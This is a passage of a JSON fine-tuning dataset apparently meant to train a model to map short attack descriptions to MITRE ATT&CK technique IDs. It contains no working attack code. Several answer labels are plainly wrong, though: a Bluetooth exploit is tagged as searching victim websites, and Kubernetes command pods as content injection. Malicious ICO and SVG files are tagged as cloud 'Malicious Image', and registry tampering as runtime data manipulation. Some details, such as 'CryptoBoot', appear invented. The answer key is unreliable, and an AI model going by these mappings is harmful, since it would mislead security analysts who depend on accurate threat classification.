            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes secret data into the whitespace characters of an HTML document to evade scanning."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An unknown group accessed the content management system and posted a message on the news section accusing the company of wrongdoing."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a web app vulnerability to create an admin account on the portal."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed an automated script that performed SNMP MIB dumps across the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor modifies the firewall's rule set to permit all traffic, nullifying its protective effect."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware campaign uses the RTL override Unicode marker to reverse the displayed order of characters in a file path, hiding the true executable name from analysts."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a misconfigured event trigger in a serverless application to run unauthorized code."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group captures the SSH client’s authentication token from the environment and uses it to usurp an ongoing remote session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a remote file inclusion vulnerability in an outdated Joomla site, the threat actor was able to run arbitrary commands on the server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the COR_PROFILER mechanism to attach a malicious profiler to .NET applications, achieving code injection and persistence."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan performs DNS lookups for a list of generated subdomains to find an active beacon."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercise includes provisioning a new Exchange email account that is later used to relay C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leave a compromised external SSD in a printer location; when a technician connects it for maintenance, malicious code executes."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By embedding malicious commands in an MMC console file, the attacker executes code with the privileges of the invoking user."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell scripts to query the Exchange server for mailbox contents."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe the steps involved in conducting a insider threat attack using compromised legitimate user credentials."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware disables the Windows Firewall by altering registry settings under \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\"."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment runs a script that spawns thousands of processes on the target computer, exhausting CPU and memory and rendering the system unusable."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves writing a custom ROMMON image to embed a Trojan that activates before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor added a rogue web.config entry to IIS, enabling a remote code execution payload via the server's pipeline."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a domain that was abandoned by the victim to host a fake software update site, tricking users into installing malware."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Bluetooth device is paired with an employee’s laptop, exploiting a vulnerability to gain code execution."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool leverages SMB protocol to list shared resources on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses Bing's advanced search operators to locate internal documentation indexed by search engines."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker creates a new system service on a compromised Linux host, setting its ExecStart to a backdoor binary."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit sends malicious payloads disguised as legitimate ARP requests to infiltrate the network."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group utilizes a custom script to dump cached domain credentials from the Windows Registry's SECURITY hive."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary delivers a malicious HTML file that, when opened in a browser, uses JavaScript to decode a base64‑encoded payload and writes it to the victim’s disk, effectively smuggling executable code via HTML."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious commands within legitimate batch files, using variable substitution to obscure the payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor runs a custom credential dumping tool that accesses the LSASS process to retrieve cached domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses a Windows Service to trigger a periodic upload of stolen data to a malicious URL."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the PowerShell profile to execute encoded PowerShell commands that retrieve additional tools."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors used a stolen signed driver from a legitimate hardware vendor to load kernel-level code, evading driver signing enforcement."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a vulnerable API, the adversary uploaded a persistence module into the target's system directory."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary writes a payload into the extra bytes of a window class and causes it to be executed in the victim process."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script moves collected files to a remote Google Drive folder as a staging area."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT group uses process doppelgänging to execute a payload that bypasses antivirus by creating a transaction that never commits."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a Kubernetes API server to post command pods that infected containers execute."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware initiates a large number of concurrent file operations on critical system files, causing file system lockups and preventing legitimate access."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware performs reflective PE injection, mapping a portable executable into a target process without touching the disk."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the supply chain compromise, the firmware of a motherboard is modified to include a hidden persistence module."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious ICO file is delivered via a compromised software update; when the user applies the update, the icon file triggers execution of a hidden PowerShell command that installs a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code terminates the shadowcopy service, erases backup directories, and blocks restore point creation."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor changes file permissions to restrict access, preventing security tools from reading them."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor hooks the Windows API function CredReadW to extract stored credentials from the system vault."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits a system API to hook keyboard events, effectively keylogging all user activity for data theft."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation-state actor gains access to a semiconductor fab and modifies the silicon layout to include a hidden command-and-control channel."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware retrieves the list of connected devices from the victim's router via SNMP queries."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting network reconnaissance using ICMP packets to identify responding hosts."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leverage the accessibility features of operating systems to simulate user interactions and perform unauthorized actions"
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes a Visual Basic script that disables User Account Control (UAC) to facilitate privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged compromised service account tokens to retrieve sensitive records from the database while appearing as a normal system process."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script generates files with names starting with a period (e.g., .config) in the startup folder, making them hidden from standard Explorer view."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code abuses the extra window memory injection technique, allocating extra window memory in a target process and delivering the payload there."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware sample includes a 24‑hour timer that only decrypts files after the host has been running for at least a day, avoiding analysis in short‑lived virtual machines."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion team orchestrates a direct network flood by sending large volumes of malformed packets to a remote authentication server."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group exploits default credentials on a Cisco IOS device and issues CLI commands to disable security alerts."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the proxy configuration of a trusted build system to execute a backdoor binary on the target environment."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious SVG image is sent via chat; the SVG exploits an XML parser bug to run arbitrary code on the host."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups often hide their tracks by erasing evidence, specifically by deleting system and application log files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a weakness in cookie validation to create a forged web credential, establishing an unauthorized session."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses the Windows “MediaCapture” API to record ambient audio while the user is logged in, then compresses and encrypts the file before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set obtains threat intelligence reports from closed-source services to identify potential entry points."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker identified a zero‑day in a popular VPN client, then used it to obtain kernel‑level access and load a custom implant."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script sent encrypted chunks of database records over a WebSocket channel that also served as its C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor writes OAuth refresh tokens to a custom Registry key, allowing it to reauthenticate without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses AppleScript to download additional modules from an external repository and execute them."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker inserts anti-debugging instructions like INT 3 to cause exceptions that only a debugger would handle gracefully."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses social media and corporate publications to identify the roles and responsibilities of individuals within the target organization."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary issues a ListObjects request against an improperly secured OCI Object Storage bucket to discover files."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the trojan creates duplicate files on any attached external USB stick and sets hidden attributes to conceal its presence."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved calling \"control.exe /name Microsoft.System\" with malicious parameters to trigger execution of a payload, illustrating the T1218.002 technique."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor injects its payload by allocating memory in a remote process and then using RtlCreateUserThread to start a new thread that runs the payload."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies BIOS settings to turn off CryptoBoot, stopping the system from using hardware-based encryption."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stops the EventLog service (eventlog.exe) to prevent logs from being recorded."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group manipulates the runtime registry values of a compromised host to disable security tools."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
